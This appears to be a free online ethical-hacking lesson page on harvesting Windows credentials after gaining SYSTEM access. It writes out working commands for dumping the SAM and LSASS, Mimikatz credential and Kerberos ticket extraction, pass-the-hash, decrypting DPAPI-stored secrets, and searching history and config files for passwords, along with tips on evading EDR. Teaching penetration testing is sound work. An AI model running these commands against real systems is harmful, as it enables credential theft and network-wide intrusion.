Ethical Hacking Academy · Lesson

Credential Harvesting

Dump secrets.

Credential Harvesting is a free Ethical Hacking Academy lesson on CoddyKit — lesson 4 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Ethical Hacking Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.

Why Harvest Credentials?

Even after reaching SYSTEM, the real prize is often credentials — password hashes, plaintext passwords, and tickets that let you move laterally and reach the domain. Credential harvesting turns one box into the whole network.

The SAM Database

Local account hashes live in the SAM registry hive, encrypted with a key in the SYSTEM hive. With SYSTEM access you can dump both and extract NTLM hashes offline.

reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
# then: secretsdump.py -sam sam.save -system system.save LOCAL

LSASS Memory

The LSASS process holds credentials of logged-on users in memory — often including plaintext or reusable NTLM hashes and Kerberos tickets. Dumping LSASS is the highest-value harvesting action.

rundll32 comsvcs.dll, MiniDump <lsass_pid> C:\Temp\lsass.dmp full

Mimikatz

Mimikatz is the iconic credential-extraction tool. sekurlsa::logonpasswords pulls credentials from LSASS; it can also extract tickets, perform pass-the-hash, and dump the SAM.

privilege::debug
sekurlsa::logonpasswords
lsadump::sam

Pass-the-Hash

You often do not need to crack a hash — pass-the-hash authenticates using the NTLM hash directly. This is why dumping hashes is enough to move laterally across machines that share local admin credentials.

pth-winexe -U "admin%aad3b...:31d6c..." //10.0.0.6 cmd
# or evil-winrm -i host -u admin -H <NThash>

Cached Domain Credentials

Domain-joined machines cache the last logons (MSCache/DCC2) so users can log in offline. These cached hashes can be dumped and cracked offline (slowly), yielding domain passwords.

secretsdump.py -system system.save -security security.save LOCAL

Saved and Stored Credentials

Windows stores credentials in the Credential Manager / Vault and as DPAPI-protected blobs (saved RDP, browser passwords, Wi-Fi). With SYSTEM and the master keys you can decrypt these.

cmdkey /list
vaultcmd /listcreds
mimikatz: dpapi::cred /in:<blob>

Kerberos Ticket Theft

In Active Directory, Mimikatz's sekurlsa::tickets exports Kerberos TGTs/TGS. Stolen tickets enable pass-the-ticket, and a domain admin TGT can lead to Golden/Silver Ticket persistence.

sekurlsa::tickets /export

Files and Scripts with Secrets

Do not overlook the easy wins: scripts, config files, and history full of plaintext credentials. PowerShell history, unattended files, and IIS web.config connection strings frequently contain passwords.

type %APPDATA%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
findstr /si "password connectionString" *.config

Cleanup and OPSEC

Dumping LSASS is heavily monitored by EDR and Defender Credential Guard may block it. In engagements, prefer stealthy methods, clean up dump files, and document what you accessed for the report.

Ethics and Authorization

Credential harvesting exposes the organization's most sensitive secrets. Handle dumped credentials securely, never exfiltrate beyond scope, and operate only under explicit written authorization.

Quick Check

Test your credential-harvesting knowledge.

Recap

You learned credential harvesting:

Dump the SAM for local hashes; dump LSASS for logged-on users and tickets
Mimikatz extracts passwords, hashes, and Kerberos tickets
Pass-the-hash / pass-the-ticket enable lateral movement without cracking
Check Credential Manager, DPAPI, and config/history files for secrets

That completes the Windows Privilege Escalation course.

Frequently asked questions

Is the “Credential Harvesting” lesson free?

Yes — the full text of “Credential Harvesting” is free to read here on the web, and the Ethical Hacking Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Ethical Hacking Academy course, upgrade to CoddyKit PRO.

What will I learn in “Credential Harvesting”?

Dump secrets. You practise Ethical Hacking Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.

Do I need any experience to start Ethical Hacking Academy?

No prior experience is required. Ethical Hacking Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 4 of 4, so you can start here or from the beginning and move at your own pace.

How long does the “Credential Harvesting” lesson take?

Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.

Can I write and run code in this Ethical Hacking Academy lesson?

Yes. Every Ethical Hacking Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.

All lessons in this course

← Back to Ethical Hacking Academy